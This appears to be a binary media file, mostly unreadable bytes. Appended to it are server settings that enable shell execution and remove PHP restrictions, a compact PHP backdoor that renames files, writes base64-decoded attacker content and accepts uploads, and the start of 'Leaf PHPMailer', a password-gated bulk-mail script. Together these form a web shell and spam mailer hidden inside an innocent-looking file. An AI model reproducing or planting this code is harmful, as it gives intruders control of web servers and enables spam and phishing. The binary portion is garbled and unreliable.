x׎*bD0zA=yӠetgdykwnmb-A=Pߪ̊dZo3?e/??Xl%^s{{c~s4Vw?햌Sh;z}ͷgVS/˸ߗ|mGc: f\ 9`#?󂬶?r[O9_rߐTQ"buP*Lh7vuncdlbsfpjݢ?-&[6X-+eG{CUg:WVv5 OINOШ=$kdzG|jI-?{Ǉ]GZDCB"'j]/	[ʟ+:
9LP [o{Qw$951s[`g;h-N{"w=+[p?Ͽz|eLjetgdykwnmb)[.ۻwO1/(T]]!i]}٤ǿ 0b~\|U654U7*r~ynwvuncdlbsfpotÿ[Sa0D%{LV[ UA1p`}~H"_vuncdlbsfpwEI=:NOz,ۛ~ÜE 
#Ld98vd"㯺[3 'C@]v/	ABS@:]/ݰ;w,SKE9ݭā^KPj'DDbGgvuncdlbsfpZu֌jFvuncdlbsfprl\-?w\VbcI':oetgdykwnmb?ipvuncdlbsfp:bM|տçv8ꤗ@*]ˬwsќ}2!M{@P
+5ubݓwd,J&dݧ*{odjL#D1w
ׇRp c7L
@f/xs0/P\lиYyJߛN5kK#Ҩe%ǏR.|ZŭT;^K"4AG vLJ@Vr{j-M8vN16\ՒRvuncdlbsfpȐ`.mM^~:έ
(Ҩ@5CrSӘ!џzf=pu.YD4,fZDr^Y;T+]UV&(!Yf6mzܼ.9˪yFd~YWx_miL,vuncdlbsfpY%'T&3/{d(#vIl		g5nY`@|*01#BσpޫO0bvuncdlbsfp.7.F{DЃ~aRjqLޔ2s^٦`B.ޚF6lhZpp@U7U7Ľ'ET'gNW	s1@RxK1n{X̹(agO2 Xf"Y?tt%*AGeetgdykwnmb7OW,l@]~ȁk.]1Nt s}p2*ON1xRn'-RTauuAd0;9*+4r60ZX?[Y6$/P;uB/1$KΞ"ӓFɉetgdykwnmbϷetgdykwnmbYAj=T#25f)b5hiOF5ti5g#QePؠYitq^G5
^*x|6#k_zΐٻ.	LpTEBO
{OʽsD2w`F@}U1cꕉYWlFcOGEUn9w6W5ogoetgdykwnmb5JhȕWU`9vuncdlbsfpkΖl}2s4Te
ů،?10Ql2,~Rm.|cXLrA:R!n)Eqq
'& Xovuncdlbsfp&IC3\vuncdlbsfpvuncdlbsfp[GvuncdlbsfpSǕ	35Fv}Y|r&"O)3"\lT{Q
PEr^e^8ό?
^:Jdi72D. LUs,ХVɒ:m*P?T2.BsW˭j!i:ib
G93cvMkaֿq5!ILjkq4~\7QNilpb(ؔd~5Ifetgdykwnmb.bV0տ#Dp
_\fCަKQ:֍w$'E (7j4fc"=|IG|.]6ZCymr؝etgdykwnmb+W0LJqL=dJ5Q?'@OYGOߔBى-d etgdykwnmbJDɥ\fdNEUz8t	کBYY~Koߓ5a˘y;PD|6%ohCGa)vߧ$(E?2@kڈ\_3&
g 3kv=JgCrYRX&WnYt}sB$\C[]~tcӅTG{uK4l\[etgdykwnmb۴;K6LTmH2C @.3_+=~C֡vuncdlbsfp}dSMo
;qv6roLn2*6*+	\91؛{9O=N/1߁rcRz`p½)%~O9dBeEDj/laD- Bl43ي73505p z=oLj'&E}BO{ܐroaY+lLy^Z#yJՒEZuL0ܟMY"}ʸi|
E3Zn;zؒZ8u:!B5Qf1D*^0yX\aetgdykwnmb˰(m8F.\FKwomw" SwfW2#o2{NJB\=jW0}RXO̃LzJFU6LB']$'={vuncdlbsfpQ֯|.yMI'ntux[m׳q$^aa6inћ[/ C4qFT MoQetgdykwnmbWcI7tg8޵/5Sظ}`]q, di鲌Zp6EZDs0Tŗ5]
RM{az7sOCDg-"7z|ea7}wKCz%
JN(pkNurSjlG4*w}ʗ8g
]
GZ䫉$-FY,/'ٛ':5Ia׋\{HŰhh_&
aO/aIvuncdlbsfpLrx
G!'sy{oM#=vY*4}^j13S.G8?t~JOK'%Ӡdj$M꒺e2sgtÏIi=zV*QNpe'{2Smk&;nRVmI$\bk͕9@
ҩɉFQ E|v|=4*[37ݸy2^e:B/y~E5S BOE5xtm!h향ۋ_Bb+cZX
TD3ZI9~{m	`wd
ct;'gp`W-.	{etgdykwnmbic]JN*`\0褯Q.z~DNyɥ(TEgaUP1H	Q3P_rlEjT3RwcġetgdykwnmbvyrES&_[ad߭LP'rr)[qCvuncdlbsfp\V!/Y0ӓnH7aA7U.ѴI77Letgdykwnmb4
D胮CH-SȦ)$}"ddEȝ?ʹxHʈvuncdlbsfpGkiPC)H'ux#𒹬фXHX3ɓ\LHL(8q62vWmyEXarJvuncdlbsfpEXef˸h%WψuIX`HDuǬ=i0KZ,v$w+3űXҭ/C~9u$ ,WM^\!YX{PK_gq :Pd;xjr8T KXtSw4l֐B?a!cL+,SH?,pՐb0h[u;P:&WDZͧvx8qbn~e\+$fC'PC3R=(CJ۷(üq)etgdykwnmb6ˮZQ&KR@7o*,!Y~Ve~klIcXcFz
nFw
 4w&TΟnClJ!ÁsQL-}g|:^כRslT4۵etgdykwnmb+iqMׇR;v9]v%z%3
aƎ)3DietgdykwnmbVNKQpQʛ-̼n{tsK阨z0i
O0tW&Q
}l߫#`[	AkCIK08a9	J
:R1DCI/e7$h'(3`ke-xQ&z1֥%֠Dt3xc`P)IMj~_D|Ԟ;GHgͬrf@P[+XvuncdlbsfpDdws.L{vuncdlbsfpkjіTЅcBi"=6u7On T
#iAZV:u&ϟ;S ^^h[Fxew8r,W.9 @etgdykwnmbJ
#Te:oToZvw(
[6d̸=(̟x5'{O6Mr(*`	|{sbB'Sө/
zipvQv-wⷡyT;e퉻ÃZb.+/ۅGJYuHI4ilNg:+TT۫UPTnx5٬!v3/?6nBVo[	x$8472Afcǀz{Zgg*A3}~h#Td_D(̬kJTT3 3#C2ʍh b0.R)ټXAK8H˭g4#Wy}dg0LpFl	ws~s	}׵[諃Kvuncdlbsfp1ݫ:%Kw7:E%&'ac|-k3\8~o'nfB +.G!koxic}^RVBװ:ZjFKwvuncdlbsfpIi^2Yy}Wch0W5DcmoŃFl|(Li(vuncdlbsfpDxXS."; BBuzOetgdykwnmb
9BO	bRnxVHV56vuncdlbsfpv\S"; F?ܑ]P#P,1t0}#9S
2l9Ԭ8%r9 ],v;)K6?G҈s9Bz
qL Qb[.}Mw-߻o
(Ф"o^ԉU& -^etgdykwnmbrb/Gh6]'fAˁoTZOJŗl`|dÀ~gzmݵe[Y{O7rd*[w@x^R½Ietgdykwnmb 
{ 3V.)N)"9eaL]uaUZ6Hg^F5㆞W"]x'-EOy?UzꪌСh@ѷuo4p#IG9\~ZQ9䤵xvuncdlbsfpx^&`zu:z!̡;?)'v(%Br/JfcN	_|oJ^㳠4!3qǝ#T
Oc`emͦ;wuׯ
r}Η6̀"LN;Zy~]|ʎ˷C3r;K՗ʄsF6
-ZEJ/;2irzwI/k꯺]JcJLޑ
YjQs+C.ϯ!7G1~Q#u}^ay";9ؤFteH5f'ۂ:t?j~~f)tG/x ̴Ƽvuncdlbsfp]D2'D!Nc[=m8U?k]}z7T2mP
etgdykwnmb:T/?#
h=b~#7b$wPU
[|B^$#ϷˡC#IK0Xnm2(8NIoF7N,kʾ,z:zp	Sl-(rC5$^%A *ڨ&=9w
?5EkQT2{Q$Kc~/ã'^UwwF1`+ 77;sGbݹRILg|`7~_Cb9h?XacMgDźNτ	}D/%C g*Tpetgdykwnmb:ꊁW\ hb)ī12%.k"vK`N3H~ &FxVK4ߔ
trƱ$ӄJ˂H$T
-W
9ݮB2oȴ"zo(8┄Sͅ$iC	,$0uxvuncdlbsfp!N9vuncdlbsfpZȌ
Ů*-ͼ !
*߫Rؤ,68
qkn0pYg-9g=4ӴjitOp^\"7O^FQ}R*!%)&8oW[o5Q%/7额8R_+_\%qtD:dvuncdlbsfpUmVCއD*R=iTI!^%N\Zd`ovuncdlbsfp7h66=ܲ͵4(TZzSSetgdykwnmb5ϔq(S]betgdykwnmbSC_NI
ŏ,頿IT;RI33ܼ㶑͖^|w'zmwk!1R%ȶw馒MS*B9
q%~{),9@N(0#{lo ߀F}X[?2]̶G H%D6
-'"o`S=qPRvs pؤչf{)nȥ,*
JkՇ|=!`$αDx/#iȟƲ2:.硵NzWy#@rfU2's.Fۘ_B^*-tb\`-lا}`ö(=*o1G.`W86@azN
g
`Ƴ$Qe;h#G,߱Wo-*]^?',- OmVu.j$K?Q%Ҝפ dFY@sk=k\setgdykwnmb#յJ#hC{BGc ,D)ۓX{%#Puay/;Lq}vwh©V8[t.ŗM_Ѻ f򻒿	R#ŐCd-
Br3|,SC/N5 ħ,X.RarzoD6g],AњWErE13Uq#(R}wkgK\cơ]rxJ%X;&zGJs7etgdykwnmb#)=2lϽeA,J_h6̔{vuncdlbsfp%|Jj 
⭝
C
Lr"
]tv환Դ5cm?
t3vuncdlbsfpkQa4]sj/dp#,̴lٶ/w帅%d8BQFh馋dk(5.#9|d^vy's/U*$ob$V=:G\hNhI['D)b]"c'V
%K1B4|Š26xM
? wf*;$v	Nt	vuncdlbsfpٜI,D&bxdnr9k$mK=(hVa^#t_h/5SR׀v #mvuncdlbsfp^ ` }O@Q|(f
QbӨĆ"Elz
~UxlHo1!pԌoP* n-ں~I~ߟ5 +Rks)0 UE#!1 43a_{8ϛ5Qv4KHG#ip7Vj
LNb7O^Nkv
q^g
zf Gܑf(347:qqu*9~*]=+X~t˥v=vuncdlbsfpŎJI:4b?\l18!-SjǛC5ǔjWhͤVσ%[dRC[7pj#Qx]
Tӟ{a8^O9kE8	ַPIFv7E||c&a72xmn?qISM7Қ=!ňEj {,%` C TmaʔUיɟl
8")qvuncdlbsfp
Do$tetgdykwnmb/Eetgdykwnmb	}Lt
|D#kȁن7`O *kiceѕz#?_G2v؁M5e$m
٠- t8qB|KsH_#`=*Q;ឭ?Du1]\,Z)&oĘE)hpTwUH˺݁:hOR{ o&s﹕w?;ӚÈ8W2?5Uݿa7%Z1ąO10
#N޿]	$1Ɏ'v3 XE|*uu|&Ӵ*~dxF;Lî5"Z؋ץvuncdlbsfpg
Aws#.'!,tgmp=ƛ21=$.;wvuncdlbsfp;AU;(fz~
ČJКuR']k[:vXbrpY'Oz67zLDgetgdykwnmbIK2|Ј~\Gm5jj5͇ptphm"_O\Л~T= dilXƮy"vuncdlbsfp `M+LԖ*Nt mRXtL wٌstGo͎GFvjP\(mq֧T{e]P J\G^p M\|+ލFpΣgjU.]oFWZ9S:|euetgdykwnmbA8u'pMkS3jHZ/TO3t^uXxKL䍄@ⅺ|
k~ jY61Nꄰ^q*aжYi*F+_y&
 Zi^0vetgdykwnmb%m:]xa{Я	4etgdykwnmbu
ad#3u|~[%Ա4%/gڀ
{!stdIG0l|ʠю"),M蘯Df}G/3llJq{QެxCQeEx!gVp߫lM
f8!kDn?2?vuncdlbsfp8"`!mׁPAC+a7߅.!#$tP"2
&x@o|V~Q4tЖDz&}K'r
,D5&G4sW札WB+T3hGi|`t,^-qZg1 5]9Tip/՛[	nֶdp"!
c0MU-0ۜr	]
ZXEr=NCǄU4tLuuL: etgdykwnmbaj1%  Tr[?e!D$# _ZJ9,_t+qDG@5ѳS 
W^[.}H
z{@KbZ*A௴m綸fˑWj	Li//!p:PhMvuncdlbsfp!|dPFA뉾_b6&U`clqdp!etgdykwnmbviE`o4&Rҗ@(}rJ3u!ķ7	g-sZ6C
D?	"po[^E![B@L7yO/KH
gSWF}5-;65d
MCtU!zfQLA'ʋUIiPEj?	z% W-i̙-yDon$s:|KT?vuncdlbsfpo2+b5UD7z(+HY~)JQ3etgdykwnmb(gۋIC= etgdykwnmb{kV,,MDsV%uL(W
܍
!S|*xxJ)GzBXxh#^۾45j*94QСG߬B8u)X1v+/
҃I"!'AtEgdZs
xmtWIYZ:_Wb{lV.etgdykwnmb9CХ?UjKtl-n~3Bq(-m5aks_,Gkאaz}+aiunҜqmRmn$Ϣuz.1SI(h!W/+HBn/q({~8TRyS*)ݯcE.?&^^`i/(CR*GA	BPaS!4\U6Yoy
 %T8,k-J(.f9J.
b 4i9TM0V[|m	b&4CO!Pjf*BR
݁	5x*FmK2vuncdlbsfpۍt|Yj@`m䩁0
ҥGrB
'Ngw?/3 aMM#_Q릞Q_LQ)jtƒ(lJx /~HAWDvuncdlbsfp
E?2ߩ$pMYPb`=(mz7֋'X=ekSxlu5
[	X^?sA0Z(YbZ8ۓW~n/9m3aӷ
͗vEX2IѴwetgdykwnmbmL 7uoGͅƸ54k|etgdykwnmbATݩbۢӷ8{˕ W'1!|HF&&^_kmFI:,S"5ǥR5%;URR(QgxZ\*|ްYQ2QdpY#}t}{kֻEk"Ig8}_4ߵ4Ӟz|\n6̓x,⚳q,oL7ãژ4oIRT-zYdZ	8gA':5簞id_IROv6WvuncdlbsfpCkI5)8D 	iSV}A,SŦNwL
n.a%&&J\IC8vuncdlbsfpetgdykwnmb'#+x`Z/7og(9r}Akvuncdlbsfpx&/ș'oYd4 DWmAՄ'^0\vuncdlbsfpx:K7SP[63atetgdykwnmb@H9_f4b%.~Nځ.)3=WtQ;UgZX!=_uvN/_,wXs4ĶYiIYbLޥAp7=׃[dc.+&|=Q}5J`]j+}I
{z,2]̚=5^`4bY[9NIy4!)7fD}!{~$֬M=M(}
}msl`vIvuncdlbsfpi[Ѿ$ + lYѣHejFٯ\{Y@QW[xpB09ͫO3p||pHhtK3k
ֿ^Fjvuncdlbsfp̄!HKcST̂r_d6׿b!5Ǻۿ+h"ךL-y-b{etgdykwnmb/VC/M.@\H(cXL!Wp1אָ*MÃXV(#~j	Ú(A:I"nb{ؙXa IbÎ&)7ХLH[;.;OMhDrs߅0블A}c1L#@*u@k9+U漲92\Wt'
w݌c`Gw17.wLb3etgdykwnmb@}V_: ;vuncdlbsfp{ߚ7)g{&.K\8UG%P`etgdykwnmbR!͓FYջXT:-?N}34pO{PL\K[.vuncdlbsfpOɬɓ/Rpg_3D9kWQvuncdlbsfp`3U3.KG6-3GCIX!vej\ 6,8$3k5h|yv ӝ=!.#4X}lqڵ(ЯK=p5Fx4bm[,|?Z^N7ii1{Cۡ \dbސ$
v\Z46֫Y88
&6/ǖPP曏S0m(L9adZ=keh*OCWШ&yn
\A
S9*uEZѐ-@;޽||?r:4V-J_T73n ɍ骨cvuncdlbsfp7?Qw.S~#S[JEƙ.S1`Hײvuncdlbsfprҽ΅rG`2|3.zay;Ċi$Y,+r!49etgdykwnmb#[&M R*4U̞ǌQtJ$yff|-=vx&`ȏ3vNrAz4,-FƹW*/@7X=~5"|@JXĎx./c=;-ĹNZW4g'$Y=s}vuncdlbsfpjd!Вu"C6܅9etgdykwnmb*$\bi%
aZZs=䒉̳EpKRMMs:̗Cd
N=H]:R0ߩ5C)9ߧrgt	vuncdlbsfpmeeLtCFj$	!MPD'܈
eXC^,^=.^0&bwysKeI`YUMgٸ'Pc#E$ugch"PQxqu]~0Zi3ӑ.C7(5-\a/ډ(~D３
hxa_vuncdlbsfp+_.\L ;vuBT׎		yXJqr^X2KVOa.vuncdlbsfpcTG"́li"bA~,Y2K]r+KCĐ߾&Fؾ1w8I`+yzpLJj5|H8048,X?̝Q+CDLߏ&cL!AHYs-vuncdlbsfp=v5Ca@i,5UY!x&g.ρgg
!	{tw&1c9{h	X$˧"+S`CGcvuncdlbsfpclL~ P:X9ek:}WR{,Y(]Ha}.1U7vߪZOwB[˓3$V'&}]qZsz&~_NZ-hʉ̮Ü48/h޹F1)`NCrn\7#PъI2]#+}'?W&a:vuncdlbsfpC𮅯g}"tGc1T|.u:YRetgdykwnmbY7da^Vm+$ůE_EȇK	h7H}slzCto-N7~r,Ϩr&]D-L l,%(Roy_ܱF
qzRlSȁŻϼ:V˵9{k( I͈DP8\"]NޛO;QM^ݲ}q~KyjUFvuncdlbsfp3#J3o,VS؝܏T*Xm|dRTxn*d9k
ToeF?1.o]VtUep@YD٘Ktxqȑ1ꬾzLzb]~°j5dú8I|*')	`ADI~;+Tl?q7߄te1z`6YvuncdlbsfpY#',k" aw|ѹ0#eӍ[T*,2Saa/~Y|PΛI{wA]`GS1}|5SNG{FQJTYp剡찟
0
W	vuncdlbsfp.?*&]M@ b⤗0#29,$H6_'ASB
DBWӫ^A?DyzS $Mp|4%GOYwvuncdlbsfpskkrhnF:֎I@Q\;A!.M.wJkk ##ES 몛/x0
tN+:IJ rR1o{-'[kffN:J7Yf="Jmce4kJtq\
A?A;*&^jLlxQ3etgdykwnmbyJ-J31q,Qjժn?Uwvuncdlbsfpj@;no#*R?K-.%lC(PVh:u_0+PlE2vuncdlbsfpa mv	NlzS=Z-q-_@@Ezs`8yH믘UBiK?C缮مx#cQ/vuncdlbsfpx_^6=7VTjm*Sr;N@t"B'YP/CuL}TУZ=~6]m't=
"(ziִ'ᦍ3k6k:8*|nUetgdykwnmbGvuncdlbsfp_cZfqI[aT䮗tE \v;Q&qF6nŁFȏ)~/nA8񼗨etgdykwnmbpw QjJ%ϖ`)*vuncdlbsfph3 iHjnɖtѶL@Y HpPH1c,mJוUPJ;Bj
FE~vڽ_vuncdlbsfp7^xۨO!pEEpYFҍ_+p,
e6	pԖ1O~å˿ F
"{FNetgdykwnmbyLPҌ0%8B$#f{1bjDc~qld⿛.l&Vyw8"]'y$Z
,Ҩ(EJ[;Uo"g4A7AT;}v"IEoߋ(΅BTxW`ug0ۥi*FVvuncdlbsfpL钟COCG!him=̪Ԙ7k(+K-vj SSܰ0-S8;sx 
AHmetgdykwnmbh8"Eq/fB Z76X-֏	'`^AJs6|/:Gbᜪڙ,a۠Se%@a'E9y|q&;tD2e.j|cPЬ/i(vuncdlbsfp:kSm vuncdlbsfpp~(V.uИBf/QWbO\nS'摓7ru_2(Ue"Z\zQrT#|eB$:J8]2:T+h3YMMLcvuncdlbsfp^![tBBTװeetgdykwnmbH+H0iBCvuncdlbsfp3M2O} ʪm0+4F625~ 2fLyx!zXq+%#myG&8Lc2Yq_DٓgB1H6x֧2sRulR6rIYjm$G@)GdA	)?G0?Oq=w	눖mH86Iꖣ	vuncdlbsfpGn5LÐpOetgdykwnmbU'ZՐ,~WL -)u4;7m-c
vuncdlbsfpWJvuncdlbsfp,vuncdlbsfpR"G5|w-8a8kWMPE~_4Nd,xg\h.!877U;mh]uˑ~u#sBMOV[m^\bNb.s*$f[=Tv`u#etgdykwnmb|/+Gˑ;X@ȐQ	sf&k5˪\H #Dm.m
BT=@`eh)0E/s,Am	𶎓nz`ஒkxY)Rf#!wHG8)q1Jh-Bvuncdlbsfpȓ0.W8y J_VNb|t9G[jqJѭAճ[E(!B:!i7y׳HՃA&虋[yR?i);ƐBA]-ti#Kbh`w0cO!gMYYbC:cᨚ%ꓺw_LQ.WRqM-ȓyMϕvuncdlbsfpvuncdlbsfpSnY(T	i&:o^tEY0Ns
bL_ey9Sew%%7,W	KչaTO2isb97W/i& G٪oYnhLe!R[L/~
̲v)(lLu^%=r{ok/T3ng^wO@r6Xt 1QT8 ƗÁ'u"rj$.
ȺR@&5]Gl4kF P&T"7Yrnb^PAR¯6 T%
S$|n7BMǧz?ۿ9^=Raf"+:BfIDG;ךk."OJic)~b*4?-+qH^Ap,wfsPЕt$gfA?\wԏtI^sc8Ioc׎t_Oϸ %_-vuncdlbsfp8ATV[~rh=ߜ)ZɓjeTrOn=z;} H9|^L+Gدjh$)eaᜓ?#q\EASK䩦-m.etgdykwnmbm}FzRYY?֝}f|Qɿ(ԀSGZ3E6DBEx%{Qb#`we6cG"o|3vuncdlbsfpsȓPfqǊU+oJ*`vuncdlbsfpvtY#R&2xe OMS5?S$U6d,,,1Oop nGZ&~7ӭ»NgjXem4Ej4etgdykwnmb'B	ǖ 	rvuncdlbsfp%+QF/bcwvW~T#
ccu=58lÅaHȎ'etgdykwnmb	4:
~i,W]@9vuncdlbsfp-:Ƈɢ+QȽ-fnRF	[0Y
8BQf|w+
6[bRPQks1yE낲ZľTUKb3V!ʝ w3l4etgdykwnmbcetgdykwnmb88?!nVGOCvuncdlbsfp	/p!4/^*
S@Z0!VtCVI'vM7w
bAڤ;Q3Ѭi9B,C+r2@
;Y(,m:̡	J*gWhȏ]6%KLS N9d?Gst3ˊY\gL |WBn9'0t'9G"p0vuncdlbsfpyW@6ofwHN9tS0ls Fetgdykwnmb7K9lҲt+WNO.iAqo'2}2LAk94ŷ:xF,}vuncdlbsfpCu
ӆq1[t}+.I$MLI
oa6)s~($+糖	?,vuncdlbsfp!@xM0&A.NP̋mmJ2l#cOEkG!TP(hF3f˞QOq~LuTUbۊ)
~mz3mM3(7{ã&-aE^H{nBnd}5].(iQ_D_Ckwt?# FyX
$?Ovn!GtA@0/u-w6,"Du.ib]`iHvS:MF;k o$e[h)]q@vuncdlbsfpT8&+_}OiE
.t_OcvW ֡DAqE@8,m+$1MdT
kZú?'tևra§ Ჿ)p+MIw
;4NPQD@7J~ d1aE&9Jߗ6Xq6_imXy{w	Cېgp+qy%9=~
nL!vuncdlbsfp]J;ʏG6?"ױIIILбJ03yd&,tV+C6+؈ė(?`'S
%y$cqa]L?_9!̳Bת5Y]l0,{f@E'	\etgdykwnmbr8ӫc
~q:]KeXs0}$sаl+
\\~]U}u@|^?_x#_zJ#h|P'YȺp}QNcR/7 H(I ]Jzϸ
?r ՒJĄHuW~~߯;h(XWmXr鑊{3|9#,c;=N#԰t,lWѶdɪ^?U9^	ywiFԕ@̯tS?Li
谟a,8=6އL]GN4E˷۸,K],%}d\0v*XXv
H`vo:ĻALklIAT|)
#s46]!j2GawM7cQѥģkE]{ތ+tvuncdlbsfpvGm[W;O9W?sBsȡ/pX[gդҽDOz3NmNR64Z	
`tX?h%7{OņQ	(
.sG9blbetgdykwnmb+jN z\Az*e#P,VEm!Zыa;o
Sw:jRMofBc4r-8idq瑰d3KS8-j^,U=u"'mढ़SK "ߪV[*&"9etgdykwnmb':dw
r̺ ޳hcMx{'JQOW
vuncdlbsfpv=*}|vuncdlbsfpV*fqd@J
Kg"3rۢNۈ6AP&ZnPL&n- EmFfvuncdlbsfpcl݁8)i	Jt1c'85/9cR;sMoޟ9/Aө7S= nc(_kp4	svuncdlbsfpkJP'Gז!vuncdlbsfp/KKV'q=xIBK!ԍ4.etgdykwnmbRH3s9K#|X,+(`G sʵ8tZSe5Ғu2z1+aޯ{WiEvuncdlbsfp
'o@(Ȫ!a@Xk'bЉ1
vE_F.IW9OHw9.6(tj7L$;?~|ӖetgdykwnmbetgdykwnmbES;vuncdlbsfpH_buS+u?!(:S9զ\܎GUnE#Y)լOE#!A5|\w!WV}aybboz2ZHSdo-:VN@%vR$߸
ނi$dk5Rq!mGq@{:{f\	PFUWn=ѤéճOLA!RA~{w]K␇0QŒ˪c͒3Ol{kHnEvuncdlbsfp;{р|ȕC$1cpT%`"oF%1etgdykwnmb,r00bIqYˏ$8etgdykwnmbǩn^B;NKa~:Oø3-^CL:,ko#sJX3;Kj{ɏ |cF#Э\M4.l6lrx$?F| vuncdlbsfp:Y;GmeEtk$De0Uɭ%][/.Mdّ),*9
(QwEI7I*lx
r!|dMͧx۞54u1;:O	p_D-H  ncyetgdykwnmb1,dF$DCgW:qJ=:bԟu2A4Ӗ/^ ԋmr#Xh2ϵ3KMCoQxRXr|2O_9J.懤L09AFg#+j9n},0l:etgdykwnmb9N2E$ KWG[֬ D:RC oFyˎGSl`($Q\*+)5#OLQa{Ho!׼ۥvQPYqXQ0vءy
yqV4dbS%9IaY
#LQM4szy;ǥmpM49K`N'3'[\5۷5_R~EKMv*Mqetgdykwnmb@@
nlEѱ$: _EqZaQnW/Q\vuncdlbsfpriH _ R
sHpň7$%9vݔ]`G+c!N]dd^:G_NU0gvuncdlbsfp&}*ԝj:pOⱖQb'EbKyLn!h
gHx]_hpiXbu|%oW 0?
\.
,b_m|Fl(zs
#NⳜJAȮ0M\cz1E؅Ɨ$cBP[!,r}|L$O7a hetgdykwnmbef(etgdykwnmbyu=e9 `	U2̶?4u,CևK#q#;o#`Qޚl
.*EQ/{ t#OYb/f*$T+/F{}etgdykwnmbӧH`:ᾡ![I*=7~uebX~od/TCI0E`n-$h]KX\NVAO4/+3Ȳ=I/an$Vvs(ln&EG2x&5vuncdlbsfpyVy
I?tnZ(q6j;,4eX#@etgdykwnmbWDvjZ WI
rltg)Ɲ66QO In"~H,vuncdlbsfp_4Mr%DBDbvH{hpNr%etgdykwnmbWretgdykwnmb/o8DϤmC5ǜ0VBҚNjXћ$3Ri}QJː݁a{׎tm{!s:Z`n2 EۇUu]eK4K=`eaմhMFg%աZC0̔iW``wǢ[_A`~^@i|C툎ᷱeǑ"@⤚08V*ãJ:mȾ[58{zFLL1|isoJ'/!Uf
Z`6M7(څ^/޼ܬ6urᤷHZuk:==[etgdykwnmb&w?Tڇ8| #S!
%B,
	)ʀYyFF'fK਎3q?qjmz!vuncdlbsfp\t7i句scVsYSEaQ&C%=C~~JtDjvuncdlbsfppQ
hEǪbw|35Sp#:UM'H#=5mJ)ڭsvuncdlbsfp馬H(~4DPkSnf?y~~I
}1NDȣ_k[c^Fܿdg3&;bdh`Έ:"kHS^\]s
q !^LP#v9svC	_p
Lq"7q6ј?f΁D*R|G [;A׃B \'0~(|hmK)
GiK͛o[=26|9t㻶U%Gey_6PF͟5!_"xQetgdykwnmbyW|׭etgdykwnmb/	-
etgdykwnmbMheKSxTO-x]-AUbvuncdlbsfp@gD-mN|E)-7J|sgؼ)ոvuncdlbsfp.o9;l~ .Bq.Z)U@sqL_:-2\a	GdQ;
$mY4ws|uUr0]#I@M-וq =Ke40{L7vw}F&H&Jrtn
#?3a$K"溉P;f;Dvuncdlbsfp#.P" n|Lm]Q}Wh)SQ1	] OYQJ[ٛLAAh`bc-+5[BXCVS֭K}nfчb\(Qӱ^RZ"d]etgdykwnmbvP'/9:l 1fM_oߜ	|T[*Fwc{_5Wg1fb2L4;Km7QPk8.jGvuncdlbsfpg}|+7yHuetJ/cwi9G/8Hտq/{awk: Qظe.𱠸Q%rdS_Ŗfrι]NkJsXor!m]etgdykwnmbfG,iR성,{QJ}F1 [QY4:n~̾nF2ٻ7oWͪ
FWLk3ekry,ͅtn)*~pV&U*`:9,\Tw ).^z#
E{jS!p@b~#ҋ~etgdykwnmb!
6jLM3C=U.BװE_Bp;wPĵgvC|_'R(՗A$,ЙX.vuncdlbsfpn!zEi,)@#Ck41 ź:])l4NvWCXoXwuU!6=%,
ٹlMG
jt9{	
#ǭ~/m"c}N&U4)Yvuncdlbsfp{%|	yDMaT4o%%b2Z[qD=Evuncdlbsfp|Ʊ{9S:rc[`[WpPE#goІvn2aT_}|.7w:^=@	⼩򶠂5397E/{ůaD`	CZVF½j&&kz7(!y&ED
+qbάK}Mbˍyjur 0\$z)yΐ0u4إςߴIG3H'b+QvXcױ8M($5c:Q"jQX`E"GQk;зF?yQ=Ĺ2ӹZc0-_AYy8.n{pьd^Mʩ}"Uc#ߦBUPvuncdlbsfpo4%Ӹ?hx_(^T=Х3ɚޚp}2F03;
}p%o"dr[Iנ߁9H\ f6P9{QW?yz@wb~"|'E?߈3Z7L2eokH|+OX0]oq\:1ʥ(G`X^򡙌G"+t[^!WsVpڃ(Z_ټN
LB7@L%VkMZ9)װ,,.Y M?	(RIx
\8_mݾetgdykwnmbUhogBpT$6eJB
a&'-Y~-kJH~ϗej&\te[Ivuncdlbsfp1GN:|3 5.蕴M^k9!kab+mTqWaM}GqB	deJUdW's9lPds9}WZ
;j1|l';& fC w}wXߥ=ЏZ.]Ga(FW,f . 7etgdykwnmbx,[ڼA´M͛,N="ugu֠Tzuт&"&Kxv1V^Dpl'7zK[R'xi6:RP
أ#(Z.DZx)o%Vi;
2H(y7(tsG#W/1#$^к3
@~6ڤGNj@|Rf;3¿#.pU؊91;M7+#P@2u-Wm_Nq'G.|uw9&qL'y{թIgimG"2Yy6Gnetgdykwnmb,%&vuncdlbsfpŦdBDURI"
w%o4C'IjI$5ҏO/);͘&Isb]_`+9Y%|Ʀ+){h[~-P372c|SZ$etgdykwnmb#O3;P`S`ArbWk*UZ*-ʷVHeo)P_`safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_'.'deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "q2jP5cZUGTt";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
